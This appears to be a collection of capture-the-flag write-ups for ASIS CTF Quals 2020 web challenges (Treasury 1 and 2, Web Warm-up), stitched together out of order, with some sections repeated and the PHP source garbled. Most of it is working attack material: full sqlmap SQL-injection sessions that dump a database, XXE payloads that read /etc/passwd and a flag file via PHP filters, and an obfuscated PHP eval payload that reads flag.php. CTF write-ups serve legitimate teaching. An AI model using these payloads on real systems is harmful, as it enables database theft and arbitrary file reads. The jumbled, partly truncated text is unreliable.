[00:11:08] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:11:12] [INFO] testing MySQL[00:11:12] [INFO] confirming MySQL[00:11:12] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:11:12] [INFO] fetching columns for table 'books' in database 'ASISCTF'[00:11:17] [INFO] used SQL query returns 2 entries[00:11:21] [INFO] retrieved: "id","int(11)"[00:11:26] [INFO] retrieved: "info","text"Database: ASISCTFTable: books[2 columns]+--------+---------+| Column | Type |+--------+---------+| id | int(11) || info | text |+--------+---------+
[00:11:26] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:11:26
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql -D ASISCTF -T books --dump ___ __H__ ___ ___[.]_____ ___ ___ {1.2.4#stable}|_ -| . ["] | .'| . ||___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:12:16
[00:12:16] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:12:21] [INFO] testing MySQL[00:12:21] [INFO] confirming MySQL[00:12:21] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:12:21] [INFO] fetching columns for table 'books' in database 'ASISCTF'[00:12:21] [INFO] used SQL query returns 2 entries[00:12:21] [INFO] resumed: "id","int(11)"[00:12:21] [INFO] resumed: "info","text"[00:12:21] [INFO] fetching entries for table 'books' in database 'ASISCTF'[00:12:25] [INFO] used SQL query returns 3 entries[00:12:30] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 1acszdq[00:12:34] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 2acszdq[00:12:39] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 3acszdq[00:12:43] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 1acszdq[00:12:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[00:12:43] [INFO] fetching number of entries for table 'books' in database 'ASISCTF'[00:12:43] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[00:12:43] [INFO] retrieved: 3[00:13:15] [INFO] retrieved: 1[00:13:56] [INFO] retrieved: <book> <id>1</id> <name>Dīvān of Hafez</name> <author>Khwāja Shams-ud-Dīn Muḥammad Ḥāfeẓ-e Shīrāzī</author> <year>1315-1390</year> <link>https://ganjoor.net/hafez/ghazal/sh255/</link> <flag>Your flag is not here! Read more books :)</flag> <excerpt>Joseph will come back to Canaan again, My house the fragrance of her rose-garden will regain. 0 sad heart, from hardships do not get mad, Your worries will soon end- don’t feel so sad. If the Spring on turf-throne would remain, The bird under flower-canopy sits again. If the world turns to your favor some days, Take it easy; it won’t do so always. If God’s secrets are unknown don’t des^C[07:05:43] [WARNING] Ctrl+C detected in dumping phaseDatabase: ASISCTFTable: books[1 entry]+----+------+| id | info |+----+------+| 1 |+----+------+
[07:05:43] [INFO] table 'ASISCTF.books' dumped to CSV file '/home/ubuntu/.sqlmap/output/poems.asisctf.com/dump/ASISCTF/books.csv'[07:05:43] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 07:05:43```
So at this point you know that a `<flag>` XML element is hidden into `books` table, but not into book with `id = 1`; you can launch a custom query to exfiltrate only the `info` column for other books: `select info from ASISCTF.books where id > 1`.
```user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 1 --dbms=mysql -D ASISCTF -T books --sql-query="select info from ASISCTF.books where id > 1" ___ __H__ ___ ___[,]_____ ___ ___ {1.2.4#stable}|_ -| . [,] | .'| . ||___|_ [,]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 07:08:11
[07:08:12] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[07:08:14] [INFO] testing MySQL[07:08:14] [INFO] confirming MySQL[07:08:14] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[07:08:14] [INFO] fetching SQL SELECT statement query output: 'select info from ASISCTF.books where id > 1'[07:08:17] [INFO] used SQL query returns 2 entries[07:08:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[07:08:24] [INFO] retrieved: 2the SQL query provided can return 2 entries. How many entries do you want to retrieve?[a] All (default)[#] Specific number[q] Quit> a[07:09:42] [INFO] retrieved: <book> <id>2</id> <name>Gulistan of Saadi</name> <author>Abū-Muhammad Muslih al-Dīn bin Abdallāh Shīrāzī, the Saadi</author> <year>1258</year> <link>https://ganjoor.net/saadi/golestan/gbab1/sh36/</link> <flag>OK! You can use ASIS{6e73c9d277cc0776ede0cbd36eb93960d0b07884} flag, but I keep the `/flag` file secure :-/</flag> ^C
[09:05:56] [WARNING] user aborted during dumping phase[09:05:56] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 09:05:56```
The flag is the following.
```ASIS{6e73c9d277cc0776ede0cbd36eb93960d0b07884}```
## Treasury 2
* **Category:** web* **Points:** 53
### Challenge
> A Cultural Treasury> > https://poems.asisctf.com/
### Solution
Considering the XML-related error spawned previously and the hint provided into the `<flag>` element talking about a `/flag` file, you can understand that the application can be exploited via a XXE attack.
The malicious payload can be crafted and passed via the SQL injection vulnerability using a `UNION` operation. The application will parse the XML payload triggering the remote file read operation.
Let's consider a payload like the following to test the exploit.
```Payload:
]><book><id>0</id><name>n</name><author>a</author><year>0</year><link>l</link><flag>f</flag><excerpt>&xx;;</excerpt></book>
URL-encoded payload:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E
Malicious URL:
https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20union%20select%20%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E%27%20%23
Result:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin```
So it is possible to read remote files. PHP filters can be used to read source code via base64 encoding.
```Payload:
]><book><id>0</id><name>n</name><author>a</author><year>0</year><link>l</link><flag>f</flag><excerpt>&xx;;</excerpt></book>
URL-encoded payload:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E
Malicious URL:
https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20union%20select%20%27%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20foo%20%5B%20%3C!ELEMENT%20foo%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fflag%22%20%3E%5D%3E%3Cbook%3E%3Cid%3E0%3C%2Fid%3E%3Cname%3En%3C%2Fname%3E%3Cauthor%3Ea%3C%2Fauthor%3E%3Cyear%3E0%3C%2Fyear%3E%3Clink%3El%3C%2Flink%3E%3Cflag%3Ef%3C%2Fflag%3E%3Cexcerpt%3E%26xxe%3B%3C%2Fexcerpt%3E%3C%2Fbook%3E%27%20%23
Result:
QVNJU3swMzQ4MmIxODIxMzk4Y2NiNTIxNGQ4OTFhZWQzNWRjODdkM2E3N2IyfQo=```
Decoding the base64 encoded result you can obtain the flag.
```ASIS{03482b1821398ccb5214d891aed35dc87d3a77b2}``` |
# ASIS CTF Quals 2020 – Web Warm-up
* **Category:** web* **Points:** 33
## Challenge
> Warm up! Can you break all the tasks? I'll pray for you!> > read flag.php> > Link: http://69.90.132.196:5003/?view-source
## Solution
You have to read the `flag.php` file. Connecting to the URL you can see the following source code.
```php/"; // This is: "_GET" string.```
Then you can specify the execution of the content of a GET parameter with the following code.
```php${$_}[_](); // This is $_GET[_]()```
So the payload that will be executed by the `eval` instruction will be the following.
```php$_="`{{{"^"?<>/";${$_}[_]();```
Using a payload like the following, will let you to execute the `phpinfo` page.
```http://69.90.132.196:5003/?warmup=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_]();&_=phpinfo```
The complete payload is the following.
```http://69.90.132.196:5003/?warmup=$_=%22`{{{%22^%22?%3C%3E/%22;$_0=${$_}[_](${$_}[__]);${$_}[___]($_0);&_=file_get_contents&__=flag.php&___=var_dump```
It can be composed step by step.
```php$_="`{{{"^"?<>/"; // This is _GET string representation composed before.$_0=${$_}[_](${$_}[__]); // This is $_0 = $_GET[_]($_GET[__]) and it is used to perform: file_get_contents("flag.php")${$_}[___]($_0); // This is $_GET[___]($_0) and it is used to perform: var_dump($_0)```
The result of the attack will be the following.
```string(46) ""``` |
# ASIS CTF Quals 2020 – Treasury
There are two different challenges under the same application.
## Treasury 1
* **Category:** web* **Points:** 47
### Challenge
> A Cultural Treasury> > https://poems.asisctf.com/
### Solution
The website contains a list of books with two actions available:* *an excerpt* to read an excerpt of the book;* *read online* which opens a link from another domain, not related to the challenge.
Analyzing the HTML source of the page a [treasury.js](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/ASIS%20CTF%20Quals%202020/Treasury/treasury.js) file can be found; it is interesting to understand performed calls.
```javascriptasync function anexcerpt(book) { const modalEl = document.createElement('div'); modalEl.style.width = '70%'; modalEl.style.height = '50%'; modalEl.style.margin = '100px auto'; modalEl.style.backgroundColor = '#fff'; modalEl.className = 'mui-panel'; const header = document.createElement('h2'); header.appendChild(document.createTextNode("An Excerpt From " + book.name)); modalEl.appendChild(header); const loading = createSpinner(modalEl); // show modal mui.overlay('on', modalEl);
const response = await fetch('books.php?type=excerpt&id=' + book.id); const bookExcerpt = await response.text(); const txtHolder = document.createElement('div'); txtHolder.className = 'mui-textfield mui--z2' const txt = document.createElement('textarea'); txt.appendChild(document.createTextNode(bookExcerpt)); txt.readOnly = true; txt.style.height = "100%"; txtHolder.appendChild(txt); txtHolder.style.height = "70%"; loading.stop(); modalEl.appendChild(txtHolder);}
function readonline(book) { window.open(book.link);}```
The home page is created with the following request.
```GET /books.php?type=list HTTP/1.1Host: poems.asisctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://poems.asisctf.com/Connection: close
HTTP/1.1 200 OKServer: nginxDate: Fri, 03 Jul 2020 21:39:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/7.4.7Content-Length: 604
[{"id":"1","name":"D\u012bv\u0101n of Hafez","author":"Khw\u0101ja Shams-ud-D\u012bn Mu\u1e25ammad \u1e24\u0101fe\u1e93-e Sh\u012br\u0101z\u012b","year":"1315-1390","link":"https:\/\/ganjoor.net\/hafez\/ghazal\/sh255\/"},{"id":"2","name":"Gulistan of Saadi","author":"Ab\u016b-Muhammad Muslih al-D\u012bn bin Abdall\u0101h Sh\u012br\u0101z\u012b, the Saadi","year":"1258","link":"https:\/\/ganjoor.net\/saadi\/golestan\/gbab1\/sh36\/"},{"id":"3","name":"Shahnameh of Ferdowsi","author":"Abul-Q\u00e2sem Ferdowsi Tusi","year":"977-1010","link":"https:\/\/ganjoor.net\/ferdousi\/shahname\/jamshid\/sh1\/"}]```
The excerpt button performs a request like the following.
```GET /books.php?type=excerpt&id=1 HTTP/1.1Host: poems.asisctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: */*Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://poems.asisctf.com/Connection: close
HTTP/1.1 200 OKServer: nginxDate: Fri, 03 Jul 2020 21:42:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeX-Powered-By: PHP/7.4.7Content-Length: 1043
Joseph will come back to Canaan again, My house the fragrance of her rose-garden will regain.
0 sad heart, from hardships do not get mad,Your worries will soon end- don’t feel so sad.
If the Spring on turf-throne would remain,The bird under flower-canopy sits again. If the world turns to your favor some days,Take it easy; it won’t do so always. If God’s secrets are unknown don’t despair.Behind the mystery-curtain is a love-affair. O’Heart, if death-flood sweeps off all life,Your pilot as Noah, ends your strife. When through desert you pass for pilgrimage,If thorns bother your feet, don’t be in rage.
The road’s perilous and destination away.Yet all roads have their ends, I daresay. Enemies oppose me in absence of friend,God knows that on Him I only depend.
Hafiz, the dark, lonely nights never mind, Study and pray- thus salvation you find.
Translator:Kashani, A. A. (1984). Odes of Hafiz: Poetical horoscope. (pp. 182) Lexington: Mazda Publishers.http://www.thesongsofhafiz.com/kashani1.htm```
The read online button simply opens a window redirecting to the link specified for the book.
A URL like the following will reveal that web application is vulnerable to SQL injection, because the result of the book with `id=1` will be printed.
```https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20or%20id=%271```
The following URL will spawn a weird error.
```https://poems.asisctf.com/books.php?type=excerpt&id=0%27%20union%20select%201%20%23
Warning: simplexml_load_string(): Entity: line 1: parser error : Start tag expected, '<' not found in /code/books.php on line 54
Warning: simplexml_load_string(): 1 in /code/books.php on line 54
Warning: simplexml_load_string(): ^ in /code/books.php on line 54```
It seems that the web application reads XML from a database.
You could use `sqlmap` to retrieve information.
```user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql ___ __H__ ___ ___[,]_____ ___ ___ {1.2.4#stable}|_ -| . [.] | .'| . ||___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:59:52
[23:59:52] [INFO] testing connection to the target URL[23:59:57] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS[00:00:02] [INFO] testing if the target URL content is stable[00:00:06] [INFO] target URL content is stable[00:00:11] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable[00:00:15] [INFO] testing for SQL injection on GET parameter 'id'[00:00:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[00:01:05] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable[00:01:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'[00:01:10] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'[00:01:10] [INFO] testing 'MySQL inline queries'[00:01:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'[00:01:14] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)[00:02:46] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectablefor the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y[00:03:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[00:03:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found[00:03:37] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test[00:04:04] [INFO] target URL appears to have 1 column in query[00:04:18] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 43 HTTP(s) requests:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:04:45] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.12[00:04:45] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:04:45
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql --dbs ___ __H__ ___ ___[,]_____ ___ ___ {1.2.4#stable}|_ -| . [,] | .'| . ||___|_ [(]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:05:09
[00:05:10] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:05:14] [INFO] testing MySQL[00:05:19] [INFO] confirming MySQL[00:05:33] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:05:33] [INFO] fetching database names[00:05:37] [INFO] used SQL query returns 2 entries[00:05:42] [INFO] retrieved: information_schema[00:05:46] [INFO] retrieved: ASISCTFavailable databases [2]:[*] ASISCTF[*] information_schema
[00:05:46] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:05:46
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql -D ASISCTF --tables ___ __H__ ___ ___[']_____ ___ ___ {1.2.4#stable}|_ -| . ["] | .'| . ||___|_ ["]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:10:05
[00:10:05] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:10:10] [INFO] testing MySQL[00:10:10] [INFO] confirming MySQL[00:10:10] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:10:10] [INFO] fetching tables for database: 'ASISCTF'[00:10:14] [INFO] used SQL query returns 1 entriesDatabase: ASISCTF[1 table]+-------+| books |+-------+
[00:10:19] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:10:19
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql -D ASISCTF -T books --columns ___ __H__ ___ ___[.]_____ ___ ___ {1.2.4#stable}|_ -| . [)] | .'| . ||___|_ [']_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:11:07
[00:11:08] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:11:12] [INFO] testing MySQL[00:11:12] [INFO] confirming MySQL[00:11:12] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:11:12] [INFO] fetching columns for table 'books' in database 'ASISCTF'[00:11:17] [INFO] used SQL query returns 2 entries[00:11:21] [INFO] retrieved: "id","int(11)"[00:11:26] [INFO] retrieved: "info","text"Database: ASISCTFTable: books[2 columns]+--------+---------+| Column | Type |+--------+---------+| id | int(11) || info | text |+--------+---------+
[00:11:26] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/poems.asisctf.com'
[*] shutting down at 00:11:26
user@host:~$ sqlmap -u "https://poems.asisctf.com/books.php?type=excerpt&id=1" -p id --delay 3 --dbms=mysql -D ASISCTF -T books --dump ___ __H__ ___ ___[.]_____ ___ ___ {1.2.4#stable}|_ -| . ["] | .'| . ||___|_ [)]_|_|_|__,| _| |_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:12:16
[00:12:16] [INFO] testing connection to the target URLsqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: type=excerpt&id=1' AND 5495=5495 AND 'iTDE'='iTDE
Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: type=excerpt&id=1' AND SLEEP(5) AND 'ARUQ'='ARUQ
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: type=excerpt&id=-6475' UNION ALL SELECT CONCAT(0x716b6b7a71,0x457747586d6c447058555961796346724f727345527752594e76446c6b4f4841425165626571464d,0x716b787171)-- eqPZ---[00:12:21] [INFO] testing MySQL[00:12:21] [INFO] confirming MySQL[00:12:21] [INFO] the back-end DBMS is MySQLweb application technology: PHP 7.4.7back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)[00:12:21] [INFO] fetching columns for table 'books' in database 'ASISCTF'[00:12:21] [INFO] used SQL query returns 2 entries[00:12:21] [INFO] resumed: "id","int(11)"[00:12:21] [INFO] resumed: "info","text"[00:12:21] [INFO] fetching entries for table 'books' in database 'ASISCTF'[00:12:25] [INFO] used SQL query returns 3 entries[00:12:30] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 1acszdq[00:12:34] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 2acszdq[00:12:39] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 3acszdq[00:12:43] [WARNING] possible server trimmed output detected (probably due to its length and/or content): 1acszdq[00:12:43] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[00:12:43] [INFO] fetching number of entries for table 'books' in database 'ASISCTF'[00:12:43] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[00:12:43] [INFO] retrieved: 3[00:13:15] [INFO] retrieved: 1[00:13:56] [INFO] retrieved: <book> <id>1</id> <name>Dīvān of Hafez</name> <author>Khwāja Shams-ud-Dīn Muḥammad Ḥāfeẓ-e Shīrāzī</author> <year>1315-1390</year> <link>https://ganjoor.net/hafez/ghazal/sh255/</link> <flag>Your flag is not here! Read more books :)</flag> <excerpt>Joseph will come back to Canaan again, My house the fragrance of her rose-garden will regain. 0 sad heart, from hardships do not get mad, Your worries will soon end- don’t feel so sad. If the Spring on turf-throne would remain, The bird under flower-canopy sits again. If the world turns to your favor some days, Take it easy; it won’t do so always. If God’s secrets are unknown don’t des^C[07:05:43] [WARNING] Ctrl+C detected in dumping phaseDatabase: ASISCTFTable: books[1 entry]+----+------+| id | info |+----+------+| 1 |+----+------+
